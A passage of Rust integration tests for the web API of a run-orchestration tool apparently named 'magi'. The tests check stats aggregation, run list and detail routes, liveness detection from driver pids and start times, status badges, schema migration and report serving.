20386        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
20387        assert_eq!(stats.json()["repo"], Value::Null);
20388    }
20389
20390    #[tokio::test]
20391    async fn stats_lists_every_repository_with_runs_recorded() {
20392        let f = Fixture::start().await;
20393        write_run_repo(
20394            &f.runs(),
20395            "20260902-140501-a",
20396            RunStatus::Merged,
20397            "/repos/a",
20398        );
20399        write_run_repo(
20400            &f.runs(),
20401            "20260902-140502-b",
20402            RunStatus::Merged,
20403            "/repos/a",
20404        );
20405        write_run_repo(
20406            &f.runs(),
20407            "20260902-140503-c",
20408            RunStatus::Blocked,
20409            "/repos/b",
20410        );
20411
20412        let stats = f.get("/api/stats").await;
20413        assert_eq!(stats.status, 200);
20414        // Unfiltered - the aggregate across both repositories.
20415        assert_eq!(stats.json()["totals"]["runs"], 3);
20416        assert_eq!(stats.json()["repo"], Value::Null);
20417
20418        let repos = stats.json()["repos"].clone();
20419        let repos = repos.as_array().unwrap();
20420        assert_eq!(repos.len(), 2);
20421        // Busiest (2 runs) first.
20422        assert_eq!(repos[0]["repo"], "/repos/a");
20423        assert_eq!(repos[0]["name"], "a");
20424        assert_eq!(repos[0]["runs"], 2);
20425        assert_eq!(repos[1]["repo"], "/repos/b");
20426        assert_eq!(repos[1]["runs"], 1);
20427    }
20428
20429    #[tokio::test]
20430    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
20431        let f = Fixture::start().await;
20432        write_run_repo(
20433            &f.runs(),
20434            "20260902-140501-a",
20435            RunStatus::Merged,
20436            "/repos/a",
20437        );
20438        write_run_repo(
20439            &f.runs(),
20440            "20260902-140502-b",
20441            RunStatus::Blocked,
20442            "/repos/b",
20443        );
20444
20445        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20446        assert_eq!(stats.status, 200);
20447        assert_eq!(stats.json()["totals"]["runs"], 1);
20448        assert_eq!(stats.json()["totals"]["merged"], 1);
20449        assert_eq!(stats.json()["repo"], "/repos/a");
20450        // The repository list itself is unaffected by the filter - it is
20451        // what a client switches repositories from.
20452        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20453        // runs_unreadable is a whole-workload count, never scoped to the
20454        // selected repository - see StatsView::runs_unreadable's own doc.
20455        assert_eq!(stats.json()["runs_unreadable"], 0);
20456    }
20457
20458    #[tokio::test]
20459    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20460        let f = Fixture::start().await;
20461        write_run_repo(
20462            &f.runs(),
20463            "20260902-140501-a",
20464            RunStatus::Merged,
20465            "/repos/a",
20466        );
20467        write_run_repo(
20468            &f.runs(),
20469            "20260902-140502-b",
20470            RunStatus::Merged,
20471            "/repos/b",
20472        );
20473
20474        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20475            let json = f.get(uri).await.json();
20476            let daily = json["daily"].as_array().expect("daily is an array");
20477            assert_eq!(daily.len(), 30);
20478            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20479            let mut sorted = dates.clone();
20480            sorted.sort();
20481            assert_eq!(dates, sorted);
20482            for d in daily {
20483                assert_eq!(
20484                    d["merged"].as_u64().unwrap()
20485                        + d["ready"].as_u64().unwrap()
20486                        + d["other"].as_u64().unwrap(),
20487                    d["runs"].as_u64().unwrap()
20488                );
20489            }
20490            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20491        }
20492    }
20493
20494    #[tokio::test]
20495    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20496        let f = Fixture::start().await;
20497        write_run_repo(
20498            &f.runs(),
20499            "20260902-140501-a",
20500            RunStatus::Merged,
20501            "/repos/a",
20502        );
20503
20504        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20505        assert_eq!(stats.status, 404);
20506    }
20507
20508    #[tokio::test]
20509    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20510        let f = Fixture::start().await;
20511        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20512
20513        let summary = f.get("/api/runs").await.json();
20514        let row = &summary[0];
20515        assert_eq!(row["short"], "a1b2");
20516        assert_eq!(row["status"], "ready");
20517        assert_eq!(row["done"], true);
20518        assert_eq!(row["title"], "Add a web UI");
20519        assert_eq!(row["repo_name"], "magi");
20520        assert_eq!(row["judges"], 3);
20521        assert_eq!(row["winner"], Value::Null);
20522        assert_eq!(row["reviews"], 0);
20523
20524        // The short id resolves, and the detail route is the state itself, not
20525        // a projection of it: the UI reads fields the summary does not carry.
20526        let detail = f.get("/api/runs/a1b2").await;
20527        assert_eq!(detail.status, 200);
20528        assert_eq!(detail.json()["base_branch"], "main");
20529        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20530    }
20531
20532    /// `status: "ready"` alone cannot tell a run still headed for a landing
20533    /// (a PR closed without merging, say) apart from one `[merge] mode =
20534    /// "none"` left unmerged for good — the confusion the operator flagged
20535    /// after the CLI report already grew a `not landed — nothing to do by
20536    /// design` line for exactly this case (`report.rs`). Both the list route
20537    /// and the detail route must carry a flag the phone can key on instead of
20538    /// re-deriving it from `status` + `merge.mode` itself.
20539    #[tokio::test]
20540    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20541        let f = Fixture::start().await;
20542
20543        let mut none_run = RunState::new(
20544            PathBuf::from("/repo/magi"),
20545            "main".to_owned(),
20546            "0123456789abcdef".to_owned(),
20547            "Add a web UI".to_owned(),
20548            Config::default(),
20549        );
20550        none_run.id = "20260902-140503-none".to_owned();
20551        none_run.status = RunStatus::Ready;
20552        none_run.merge = Some(crate::run::MergeOutcome {
20553            mode: crate::config::MergeMode::None,
20554            ok: true,
20555            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20556            empty: false,
20557        });
20558        write_state(&f.runs(), &none_run);
20559
20560        let mut pr_run = RunState::new(
20561            PathBuf::from("/repo/magi"),
20562            "main".to_owned(),
20563            "0123456789abcdef".to_owned(),
20564            "Add a web UI".to_owned(),
20565            Config::default(),
20566        );
20567        pr_run.id = "20260902-140504-prcl".to_owned();
20568        pr_run.status = RunStatus::Ready;
20569        pr_run.merge = Some(crate::run::MergeOutcome {
20570            mode: crate::config::MergeMode::Pr,
20571            ok: false,
20572            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20573            empty: false,
20574        });
20575        write_state(&f.runs(), &pr_run);
20576
20577        let summary = f.get("/api/runs").await.json();
20578        let rows: std::collections::HashMap<&str, &Value> = summary
20579            .as_array()
20580            .expect("an array")
20581            .iter()
20582            .map(|r| (r["id"].as_str().expect("an id"), r))
20583            .collect();
20584        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20585        assert_eq!(
20586            rows[none_run.id.as_str()]["unmerged_by_design"],
20587            true,
20588            "a mode-none Ready must be flagged in the list"
20589        );
20590        assert_eq!(
20591            rows[pr_run.id.as_str()]["unmerged_by_design"],
20592            false,
20593            "a Ready reached by a closed pull request is a different case"
20594        );
20595
20596        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20597        assert_eq!(none_detail["status"], "ready");
20598        assert_eq!(none_detail["unmerged_by_design"], true);
20599
20600        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20601        assert_eq!(pr_detail["unmerged_by_design"], false);
20602    }
20603
20604    /// `RunState::active` is only ever cleared by whoever populated it, so the
20605    /// detail route also has to say whether a daemon is actually still
20606    /// driving this run right now — otherwise a seat from a killed process's
20607    /// last wave would read as live forever.
20608    #[tokio::test]
20609    async fn run_core_survives_unavailable_related_stores() {
20610        let home = TempDir::new().unwrap();
20611        let ui = delta_test_ui(home.path());
20612        let state = RunState::new(
20613            PathBuf::from("/repo/magi"),
20614            "main".into(),
20615            "0123456789abcdef".into(),
20616            "Useful core instructions".into(),
20617            Config::default(),
20618        );
20619        let dir = ui.runs.join(&state.id);
20620        std::fs::create_dir_all(&dir).unwrap();
20621        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20622        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20623        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20624        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20625            .await
20626            .unwrap()
20627            .0;
20628        assert_eq!(core.state.instruction, state.instruction);
20629        assert_eq!(core.state.updated_at, state.updated_at);
20630        assert!(core.task.is_none());
20631        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20632    }
20633
20634    #[tokio::test]
20635    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20636        let f = Fixture::start().await;
20637        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20638        // half of this test can claim the daemon is working on it without a
20639        // second helper.
20640        let id = "20260902-140502-bbbb";
20641        let mut state = RunState::new(
20642            PathBuf::from("/repo/magi"),
20643            "main".to_owned(),
20644            "0123456789abcdef".to_owned(),
20645            "Add a web UI".to_owned(),
20646            Config::default(),
20647        );
20648        state.id = id.to_owned();
20649        state.status = RunStatus::Judging;
20650        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20651        let dir = f.runs().join(id);
20652        std::fs::create_dir_all(&dir).expect("run dir");
20653        std::fs::write(
20654            dir.join("run.json"),
20655            serde_json::to_string_pretty(&state).expect("serialize run"),
20656        )
20657        .expect("write run.json");
20658
20659        // No daemon.json at all, and no `driver_pid` recorded either (this
20660        // state was written directly, never through `execute()`): there is
20661        // nothing to confirm either way, so the route must say `"unknown"` —
20662        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20663        // run` used to get from this route before `driver_pid` existed.
20664        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20665        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20666        assert_eq!(cold["live"], "unknown", "{cold}");
20667
20668        // A fresh heartbeat naming exactly this run: the same entry now reads
20669        // as confirmed, not merely recorded.
20670        write_daemon(f.home.path(), Timestamp::now());
20671        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20672        assert_eq!(warm["live"], "live", "{warm}");
20673    }
20674
20675    #[test]
20676    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20677        let home = tempfile::tempdir().expect("temp home");
20678        let runs = home.path().join("runs");
20679        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20680            let mut state = RunState::new(
20681                PathBuf::from("/repo/magi"),
20682                "main".to_owned(),
20683                "0123456789abcdef".to_owned(),
20684                "Generated review context, not authored task criteria".to_owned(),
20685                Config::default(),
20686            );
20687            state.origin = origin;
20688            state.status = RunStatus::Blocked;
20689            // Earlier migrations must not infer these facts again.
20690            state.driver_exited = false;
20691            state.gate_ran = true;
20692            let expected = serde_json::to_value(&state).expect("serialize current state");
20693            let mut legacy = expected.clone();
20694            legacy["schema"] = serde_json::json!(13);
20695            legacy.as_object_mut().unwrap().remove("task_instruction");
20696            let dir = runs.join(&state.id);
20697            std::fs::create_dir_all(&dir).expect("run dir");
20698            let path = dir.join("run.json");
20699            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20700            std::fs::write(&path, &body).expect("write legacy run");
20701
20702            for loaded in [
20703                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20704                read_run(&runs, &state.id).expect("web migration"),
20705            ] {
20706                assert_eq!(loaded.schema, crate::run::SCHEMA);
20707                assert!(loaded.task_instruction.is_none());
20708                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20709            }
20710            assert_eq!(runs_unreadable(&runs), 0);
20711            assert_eq!(std::fs::read(&path).unwrap(), body);
20712        }
20713    }
20714
20715    /// Where a run came from is shown, and a run written before origins were
20716    /// recorded (schema 12, no `origin` key) stays readable and says so.
20717    #[tokio::test]
20718    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20719        let f = Fixture::start().await;
20720        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20721            let mut state = RunState::new(
20722                PathBuf::from("/repo/magi"),
20723                "main".to_owned(),
20724                "0123456789abcdef".to_owned(),
20725                "Add a web UI".to_owned(),
20726                Config::default(),
20727            );
20728            state.id = id.to_owned();
20729            state.origin = origin;
20730            let mut value = serde_json::to_value(&state).expect("serialize run");
20731            if let Some(schema) = schema {
20732                value["schema"] = serde_json::json!(schema);
20733                value.as_object_mut().unwrap().remove("origin");
20734            }
20735            let dir = f.runs().join(id);
20736            std::fs::create_dir_all(&dir).expect("run dir");
20737            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20738        };
20739        write(
20740            "20260930-092817-ec34",
20741            Some(crate::run::Origin::from_agent_env(
20742                Some(("4a7b".to_owned(), "chat".to_owned())),
20743                None,
20744            )),
20745            None,
20746        );
20747        write("20260930-092817-0ld1", None, Some(12));
20748
20749        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20750        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20751        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20752
20753        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20754        assert_eq!(
20755            old["origin_label"], "origin unknown (started before origins were recorded)",
20756            "{old}"
20757        );
20758        assert!(old["origin"].is_null(), "{old}");
20759
20760        let list = f.get("/api/runs").await.json();
20761        let labels: Vec<_> = list
20762            .as_array()
20763            .unwrap()
20764            .iter()
20765            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20766            .collect();
20767        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20768    }
20769
20770    #[tokio::test]
20771    async fn run_progress_observation_exposes_activity_without_control_evidence() {
20772        let f = Fixture::start().await;
20773        let mut state = RunState::new(
20774            PathBuf::from("/repo"),
20775            "main".into(),
20776            "abc".into(),
20777            "task".into(),
20778            Config::default(),
20779        );
20780        state.status = RunStatus::Implementing;
20781        state.seat_started(
20782            "implement",
20783            "implement-A",
20784            std::time::Duration::from_secs(60),
20785            0,
20786        );
20787        state.save_under(f.home.path()).unwrap();
20788        let observed = f
20789            .get(&format!("/api/runs/{}/progress", state.id))
20790            .await
20791            .json();
20792        assert_eq!(observed["id"], state.id);
20793        assert!(observed["observed_at"].is_string());
20794        assert_eq!(observed["updated_at"], state.updated_at.to_string());
20795        assert!(observed["progress"]["activity"].is_string());
20796        for field in [
20797            "config",
20798            "candidates",
20799            "land_approval",
20800            "task",
20801            "waiting",
20802            "done",
20803        ] {
20804            assert!(
20805                observed.get(field).is_none(),
20806                "progress must not expose control evidence: {field}"
20807            );
20808        }
20809    }
20810
20811    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
20812    /// review` claims no daemon at all, so before this field existed the
20813    /// route above read it as `"dead"` — indistinguishable from a run a
20814    /// killed process abandoned — the whole time it was genuinely still
20815    /// answering. With a live pid recorded, it must read `"live"` even
20816    /// though no daemon claims it.
20817    #[tokio::test]
20818    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20819        let f = Fixture::start().await;
20820        let id = "20260922-090000-cccc";
20821        let mut state = RunState::new(
20822            PathBuf::from("/repo/magi"),
20823            "main".to_owned(),
20824            "0123456789abcdef".to_owned(),
20825            "Review only".to_owned(),
20826            Config::default(),
20827        );
20828        state.id = id.to_owned();
20829        state.status = RunStatus::Reviewing;
20830        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20831        // This test process's own pid: guaranteed alive, and never needs a
20832        // real daemon or a second process to prove it. The matching start-time
20833        // marker is what `liveness` now requires alongside a live pid — see
20834        // `RunState::driver_started_at`'s own doc for why the pid alone is
20835        // not enough.
20836        state.driver_pid = Some(std::process::id());
20837        state.driver_started_at = Some(
20838            crate::proc::process_started_at(std::process::id())
20839                .expect("this test process's own start time must be queryable"),
20840        );
20841        let dir = f.runs().join(id);
20842        std::fs::create_dir_all(&dir).expect("run dir");
20843        std::fs::write(
20844            dir.join("run.json"),
20845            serde_json::to_string_pretty(&state).expect("serialize run"),
20846        )
20847        .expect("write run.json");
20848
20849        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20850        assert_eq!(detail["live"], "live", "{detail}");
20851    }
20852
20853    /// A killed manual run's pid can be handed to a wholly unrelated later
20854    /// process — a live query on `driver_pid` alone would read this as
20855    /// `"live"`, exactly the false positive `driver_started_at` exists to
20856    /// catch (see that field's own doc, and `RunState::liveness_with`'s
20857    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
20858    #[tokio::test]
20859    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20860        let f = Fixture::start().await;
20861        let id = "20260922-090100-dddd";
20862        let mut state = RunState::new(
20863            PathBuf::from("/repo/magi"),
20864            "main".to_owned(),
20865            "0123456789abcdef".to_owned(),
20866            "Review only".to_owned(),
20867            Config::default(),
20868        );
20869        state.id = id.to_owned();
20870        state.status = RunStatus::Reviewing;
20871        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20872        // This test process's own pid really is alive, but the marker
20873        // recorded here does not match what it actually started at —
20874        // standing in for the pid having since been reused by a different
20875        // process than the one that wrote `run.json`.
20876        state.driver_pid = Some(std::process::id());
20877        state.driver_started_at = Some("1".to_owned());
20878        let dir = f.runs().join(id);
20879        std::fs::create_dir_all(&dir).expect("run dir");
20880        std::fs::write(
20881            dir.join("run.json"),
20882            serde_json::to_string_pretty(&state).expect("serialize run"),
20883        )
20884        .expect("write run.json");
20885
20886        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20887        assert_eq!(detail["live"], "dead", "{detail}");
20888    }
20889
20890    /// The deck's competition list is normally the first place an operator
20891    /// sees an old run. It must carry the same process verdict as detail, or
20892    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
20893    #[test]
20894    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20895        let mk = |id: &str, pid: Option<u32>| {
20896            let mut s = RunState::new(
20897                PathBuf::from("/repo/magi"),
20898                "main".to_owned(),
20899                "0123456789abcdef".to_owned(),
20900                "Add a web UI".to_owned(),
20901                Config::default(),
20902            );
20903            s.id = id.to_owned();
20904            s.driver_pid = pid;
20905            s.driver_started_at = Some("1790000000".to_owned());
20906            s
20907        };
20908        let states = vec![
20909            mk("20260902-140502-aaaa", Some(77)),
20910            mk("20260902-140502-bbbb", Some(77)),
20911            mk("20260902-140502-cccc", Some(77)),
20912            mk("20260902-140502-dddd", None),
20913        ];
20914        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20915        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20916        let sup: HashMap<String, String> = [(
20917            "20260902-140502-aaaa".to_owned(),
20918            "20260902-140502-cccc".to_owned(),
20919        )]
20920        .into();
20921
20922        let status_calls = std::cell::Cell::new(0);
20923        let identity_calls = std::cell::Cell::new(0);
20924        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20925            |_| {
20926                status_calls.set(status_calls.get() + 1);
20927                Some(true)
20928            },
20929            |_| {
20930                identity_calls.set(identity_calls.get() + 1);
20931                Some("1790000000".to_owned())
20932            },
20933        ));
20934        let rows = summarize(
20935            states,
20936            &open,
20937            &claimed,
20938            &sup,
20939            |p| probe.borrow_mut().status(p),
20940            |p| probe.borrow_mut().started_at(p),
20941        );
20942
20943        assert_eq!(status_calls.get(), 1, "one pid, one status query");
20944        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20945        assert_eq!(rows.len(), 4);
20946        assert!(!rows[0].waiting && rows[1].waiting);
20947        assert_eq!(rows[0].live, crate::run::Liveness::Live);
20948        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20949        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20950        assert_eq!(rows[1].superseded_by, None);
20951    }
20952
20953    #[test]
20954    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20955        let mut state = RunState::new(
20956            PathBuf::from("/repo/magi"),
20957            "main".to_owned(),
20958            "0123456789abcdef".to_owned(),
20959            "Review only".to_owned(),
20960            Config::default(),
20961        );
20962        state.id = "20260922-090200-dead".to_owned();
20963        state.status = RunStatus::Reviewing;
20964        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20965            .expect("serialize list row");
20966        assert_eq!(row["status"], "reviewing");
20967        assert_eq!(row["display_status"], "stale");
20968        assert_eq!(row["live"], "dead", "{row}");
20969        assert!(!row["done"].as_bool().unwrap());
20970    }
20971
20972    #[test]
20973    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20974        use crate::run::Liveness::{Dead, Live, Unknown};
20975        let mut state = RunState::new(
20976            PathBuf::from("/repo/magi"),
20977            "main".to_owned(),
20978            "abc".to_owned(),
20979            "Review only".to_owned(),
20980            Config::default(),
20981        );
20982        for (status, parked, node, waiting, live, expected) in [
20983            (
20984                RunStatus::Judging,
20985                true,
20986                "github-text",
20987                false,
20988                Dead,
20989                "parked",
20990            ),
20991            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20992            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20993            (
20994                RunStatus::Judging,
20995                true,
20996                "github-text",
20997                true,
20998                Dead,
20999                "waiting",
21000            ),
21001            (
21002                RunStatus::Judging,
21003                false,
21004                "github-text",
21005                true,
21006                Dead,
21007                "waiting",
21008            ),
21009            (
21010                RunStatus::Judging,
21011                false,
21012                "github-text",
21013                false,
21014                Dead,
21015                "stale",
21016            ),
21017            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
21018            (RunStatus::Judging, true, "park", false, Live, "judging"),
21019            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
21020            (RunStatus::Merged, true, "park", false, Dead, "merged"),
21021            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
21022            (
21023                RunStatus::Blocked,
21024                true,
21025                "github-text",
21026                true,
21027                Dead,
21028                "waiting",
21029            ),
21030        ] {
21031            state.status = status;
21032            state.parked = parked;
21033            state.events.clear();
21034            state.event(
21035                "park",
21036                "an earlier park does not determine the latest state",
21037            );
21038            state.event(node, "message is not used for classification");
21039            let summary = RunSummary::of(&state, waiting, live);
21040            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
21041            assert_eq!(
21042                summary.display_status, expected,
21043                "{status:?}/{node}/{live:?}"
21044            );
21045            assert_eq!(detail.display_status, summary.display_status);
21046            assert_eq!(detail.waiting, summary.waiting);
21047        }
21048        state.status = RunStatus::Judging;
21049        state.parked = false;
21050        state.events.clear();
21051        assert_eq!(run_display_status(&state, false, Dead), "stale");
21052    }
21053
21054    #[test]
21055    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
21056        use crate::run::Liveness::{Dead, Live, Unknown};
21057        let mut state = RunState::new(
21058            PathBuf::from("/repo/magi"),
21059            "main".to_owned(),
21060            "abc".to_owned(),
21061            "Badge".to_owned(),
21062            Config::default(),
21063        );
21064        for (status, waiting, live, superseded, expected) in [
21065            (RunStatus::Gating, false, Dead, false, "stale"),
21066            (RunStatus::Gating, false, Dead, true, "superseded"),
21067            (RunStatus::Gating, false, Unknown, true, "superseded"),
21068            (RunStatus::Gating, true, Dead, true, "superseded"),
21069            (RunStatus::Gating, true, Dead, false, "waiting"),
21070            (RunStatus::Gating, false, Unknown, false, "gating"),
21071            (RunStatus::Gating, false, Live, true, "gating"),
21072            (RunStatus::Gating, true, Live, true, "waiting"),
21073            (RunStatus::Merged, false, Dead, true, "merged"),
21074            (RunStatus::Blocked, false, Dead, true, "blocked"),
21075        ] {
21076            state.status = status;
21077            let display = run_display_status(&state, waiting, live);
21078            assert_eq!(
21079                run_badge_status(&state, &display, live, superseded),
21080                expected,
21081                "{status:?}/{live:?}/superseded={superseded}"
21082            );
21083        }
21084    }
21085
21086    #[test]
21087    fn summarize_and_detail_expose_badge_status() {
21088        use crate::run::Liveness::Dead;
21089        let mut state = RunState::new(
21090            PathBuf::from("/repo/magi"),
21091            "main".to_owned(),
21092            "abc".to_owned(),
21093            "Badge".to_owned(),
21094            Config::default(),
21095        );
21096        state.status = RunStatus::Gating;
21097        let none = HashSet::new();
21098        let id = state.id.clone();
21099        let mut by = HashMap::new();
21100        let rows = summarize(
21101            [state.clone()],
21102            &none,
21103            &none,
21104            &by,
21105            |_| Some(false),
21106            |_| None,
21107        );
21108        // No driver recorded: liveness is not provably dead, so the node stays.
21109        assert_eq!(rows[0].badge_status, rows[0].display_status);
21110        by.insert(id, "20260901-000000-913b".to_owned());
21111        let detail = RunDetailView::of(
21112            state.clone(),
21113            false,
21114            Dead,
21115            Some("913b".to_owned()),
21116            None,
21117            None,
21118        );
21119        assert_eq!(detail.badge_status, "superseded");
21120        let json = serde_json::to_value(&detail).unwrap();
21121        assert_eq!(json["badge_status"], "superseded");
21122        let detail = RunDetailView::of(state, false, Dead, None, None, None);
21123        assert_eq!(detail.badge_status, "stale");
21124    }
21125
21126    #[tokio::test]
21127    async fn run_display_status_routes_share_the_open_question_store() {
21128        let f = Fixture::start().await;
21129        let id = "20260922-090200-abcd";
21130        write_run(&f.runs(), id, RunStatus::Judging);
21131        let mut state = read_run(&f.runs(), id).unwrap();
21132        state.parked = true;
21133        state.driver_exited = true;
21134        state.event("github-text", "waiting for the owner");
21135        state.save_under(f.home.path()).unwrap();
21136        let mut task = Task::new(
21137            "resumed task".to_owned(),
21138            "do it".to_owned(),
21139            PathBuf::from("/repo"),
21140            Source::Human,
21141        );
21142        task.runs = vec![id.to_owned(), id.to_owned()];
21143        f.queue().put(&mut task).unwrap();
21144        let store = f.questions();
21145        let mut q = Question::new(
21146            id.to_owned(),
21147            "github-text".to_owned(),
21148            "owner".to_owned(),
21149            "Approve the text?".to_owned(),
21150            String::new(),
21151            Vec::new(),
21152        );
21153        store.put(&mut q).unwrap();
21154        for expected in ["waiting", "parked"] {
21155            let list = f.get("/api/runs").await.json();
21156            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21157            assert_eq!(list[0]["display_status"], expected);
21158            assert_eq!(detail["display_status"], expected);
21159            assert_eq!(detail["waiting"], list[0]["waiting"]);
21160            assert_eq!(list[0]["badge_status"], expected);
21161            assert_eq!(detail["badge_status"], expected);
21162            assert!(list[0]["superseded_by"].is_null());
21163            assert!(detail["superseded_by"].is_null());
21164            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
21165            let history = task_detail["history"].as_array().unwrap();
21166            assert_eq!(history.len(), 2);
21167            assert!(history[0]["badge"].is_null());
21168            assert_eq!(history[1]["badge"], expected);
21169            q.status = ask::QuestionStatus::Answered;
21170            store.put(&mut q).unwrap();
21171        }
21172    }
21173
21174    #[tokio::test]
21175    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
21176        let f = Fixture::start().await;
21177        let id = "20260922-090200-abcd";
21178        write_run(&f.runs(), id, RunStatus::Judging);
21179        let mut state = read_run(&f.runs(), id).unwrap();
21180        state.parked = true;
21181        state.driver_exited = true;
21182        state.event("park", "stopped at a node boundary");
21183        state.save_under(f.home.path()).unwrap();
21184
21185        for expected in ["parked", "stale"] {
21186            let list = f.get("/api/runs").await.json();
21187            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21188            assert_eq!(list[0]["live"], "dead");
21189            assert_eq!(list[0]["display_status"], expected);
21190            assert_eq!(detail["display_status"], expected);
21191            // Model a driver claim followed by a crash before the next event:
21192            // the persisted flag changes, but the last event is still park.
21193            state.parked = false;
21194            state.save_under(f.home.path()).unwrap();
21195        }
21196    }
21197
21198    #[tokio::test]
21199    async fn the_run_list_is_newest_first_and_honours_a_limit() {
21200        let f = Fixture::start().await;
21201        for id in [
21202            "20260902-140501-aaaa",
21203            "20260902-140502-bbbb",
21204            "20260902-140503-cccc",
21205        ] {
21206            write_run(&f.runs(), id, RunStatus::Merged);
21207        }
21208
21209        let all = f.get("/api/runs").await.json();
21210        let capped = f.get("/api/runs?limit=2").await.json();
21211
21212        assert_eq!(all[0]["id"], "20260902-140503-cccc");
21213        assert_eq!(all.as_array().map(Vec::len), Some(3));
21214        assert_eq!(capped.as_array().map(Vec::len), Some(2));
21215        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
21216    }
21217
21218    #[tokio::test]
21219    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
21220        let f = Fixture::start().await;
21221        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
21222
21223        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
21224
21225        assert_eq!(res.status, 200);
21226        assert!(
21227            res.headers
21228                .contains("content-type: text/plain; charset=utf-8"),
21229            "a browser must render it, not download it: {}",
21230            res.headers
21231        );
21232        // The assertion is on content, not on the absence of escapes: colour
21233        // is a process-global that `serve` turns off at startup, and another
21234        // test in this binary may own it while this one runs.
21235        assert!(
21236            res.body.contains("20260902-140501-a1b2"),
21237            "the report is about the run that was asked for: {}",
21238            res.body
21239        );
21240    }
21241
21242    #[tokio::test]
21243    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
21244        // The view names the run's state directory, which reads the process-global home.
21245        crate::run::pin_test_home();
21246        let f = Fixture::start().await;
21247        let id = "20260902-140501-a1b2";
21248        write_run(&f.runs(), id, RunStatus::Stalled);
21249        // A stalled panel and one review round, written through the real
21250        // state file so the route reads what a run really leaves behind.
21251        let path = f.runs().join(id).join("run.json");
21252        let mut v: serde_json::Value =
21253            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21254        v["tally"] = serde_json::json!({
21255            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21256            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21257            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21258            "met_quorum": false, "rankings": 1
21259        });
21260        v["reviews"] = serde_json::json!([{
